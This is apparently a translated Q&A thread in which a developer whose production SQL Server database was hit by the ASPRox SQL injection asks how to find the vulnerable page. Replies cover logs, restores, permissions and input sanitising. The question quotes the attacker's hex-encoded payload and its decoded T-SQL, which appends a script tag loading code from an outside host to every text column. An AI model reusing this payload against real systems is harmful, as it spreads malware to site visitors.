助けてください! 本番 DB に SQL が注入されました!

助けてください! 本番 DB に SQL が注入されました!

重複の可能性あり:
私のサーバーがハッキングされました 緊急

もう、絶望的です!数時間前、私たちの本番環境の DB が SQL インジェクションを受けました。

システムに大きな穴がいくつかあることはわかっています。なぜなら、私たちは、従来の ASP で Web サイトを作成した人から Web サイトを引き継いだからです。彼のプログラミングはひどく、安全ではありませんでした。そのため、私たちは ASP.NET (最初は 1.1、次に 2.0、そして現在は 3.5) への移行に時間を費やしました。しかし、これは大規模なプロジェクトであり、古くて安全でないコードがまだ残っています。正直に言うと、プロジェクトは混乱していて、嫌ですが、私たちにとって最も重要なクライアントなのです (私たちは 2 人の若者だけで、大企業ではありません)。

だから、彼らが何らかの方法で私のデータベース全体にいくつかの js スクリプト参照を挿入したことがわかります.... おそらく、連結された文字列 SQL クエリを使用してデータベースに直接スローする古いページを介してでした (プロジェクトを開始した人が「ストアド プロシージャは機能しない」と言ったため... そのため、彼はサイト全体で文字列連結を使用し、安全性の検証などを行わずにそれらを直接 SQL にスローしました)。

私たちがプロジェクトを引き受けたとき、クライアントは、以前の人がやったようなくだらないことをやり直すのに時間を費やしたくありませんでした。そのため、私たちは、くだらない安全でないコードを作成し、それを修正しながら新しい機能を開発する必要がありました。それがクライアントの要望だったからです...そして、私たちが SQL インジェクションを受けた今、彼らは当然ながら激怒しています。

それで....

**過去 X 時間以内に実行された古い SQL クエリを確認する方法はありますか? SQL プロファイラーのように (ただし、攻撃が発生したときにプロファイラーを開いていなかったのは当然です)、どのページが脆弱であるかを調べる方法はありますか? 助けてください。ページがたくさんあります。どのページが脆弱なページであるかを確実に知らずに、手動で検索することはできません。

また、DB を挿入する別の方法があるでしょうか? IIS リクエストや js などを使用するなどでしょうか?**

サーバー マシンへの完全なリモート デスクトップ アクセス (ホスト環境ではありません) があるため、サーバー上のすべてのファイル、ログなどにアクセスできます...

助けてください!

追伸:すみません、私の英語はあまり上手ではなく、緊張しているのでさらにひどいです!

編集

  • Windows 2003 サーバー
  • SQL Server 2005 の場合
  • ASP.NET 3.5 の新機能

彼らが投げかけているスクリプトは次の通りです

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

これをテキストに翻訳すると次のようになります。

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

答え1

まず最初にすべきことはパニックにならないことです。しかし、あなたはそれをスキップして、

2 番目は、サイトを停止し、何が問題なのかがわかるまで外部からアクセスできないようにすることです。まずアクセス ログを調べて、主な問題が何であるかを見つけ出してください。

3 番目にやるべきことは、DB を定期的にバックアップしてロールバックするかどうかを確認することです。一部のデータは失われるかもしれませんが、今よりも良い状態になります。

4番目にやるべきことは、URLを公開しないことです。どうやら安全ではないようです。

答え2

必ず最新バージョンの UrlScan をインストールしてください。このバージョンは、この種の攻撃を阻止するように設計されています。

IIS ログがある場合、エントリ ポイントは非常に明白です。ハッカーが攻撃していたエントリ ポイントを探してください。

もう一つの有効なバックストップは、可能であれば、Web ユーザー アカウントへの INSERT 権限と UPDATE 権限を拒否し、代わりにストアド プロシージャを経由させることです。このようなバックストップにより、ゼロデイ攻撃の際に、同様のレガシー アプリで同様の問題が発生するのを防ぐことができました。

PUBLIC ユーザーのテーブルスキャン権限を削除することもできると思います。これにより、「foreach table」スタイルの攻撃を防ぐことができます。

答え3

参考までに、これは ASPRox ボット SQL インジェクション攻撃によるものです。侵害されたシステムが見つかると、かなり広まるため、時々表面化するようです。Google で「ASPRox ボット」を検索すると、追加のクリーニング方法や予防策が見つかります。私はちょうど次のものを見つけました。このPDFこのファイルには、その戦術に関する優れた概要と、いくつかのクリーンアップ オプションへのリンクが含まれています。

問題は、ウイルス/インジェクション モデルが基本的にすべてのデータベース テーブルのすべてのテキスト フィールドを取得し、指定された URL を呼び出す小さなスニペットを挿入して、他の Web クライアントを感染させ、サイトにアクセスするクライアントをゾンビにしようとすることです。

したがって、適切なクレンジングを行うには、関係するデータベースがあるサーバーだけでなく、問題のあるサーバー上のすべてのデータベースを必ずチェックしてください。

ここでの提案は正しい方向に進んでいるようですが、ウイルス名に関する「正式な」参照があると、追加のニーズにも対応できる可能性があります。

答え4

IIS ログをチェックして、どのページがインジェクションに使用されたかを調べてください。言うまでもなく、そのページをすぐに修正するか無効にする必要があります。

最適なアプローチはサイトの種類によって異なります。可能であれば、サイトを閉鎖する汚染されていないデータベースを復元するか、変更を元に戻す (詳細なログが必要) まで、サイトを読み取り専用モードで再起動できます。問題を修正する時間ができるまで、SQL アカウントを SELECT のみに制限します。

クエリ文字列を連結する場合でも、ほとんど手間をかけずにかなり安全になります。SELECT や UPDATE などのキーワードですべての ASP ファイルを検索すると、すべてのクエリが明らかになります。まず、すべてのパラメータを基本的な健全性チェックで囲みます。

おそらく急いでいると思うので、いくつか見てみましょう本当に私の古いASP VBScriptコードです。安全なSQL文を作成するのに役立つSafeSqlWhatever関数が多数含まれています。保証はありません。公開するつもりはありませんでした。ただし、すべての変数入力をSqlVar(何らかの値)関数で開始できます。クエリ文字列の残りの部分から一重引用符を削除する必要があります。SqlVar が自動的に追加します。または、期待する値の種類に固有の関数を使用します。

前に:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

後:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

追伸:いいえ、これはそうあるべきではないのですが、おそらく現在の状態から、最も早く正常な状態に戻せます。

関連情報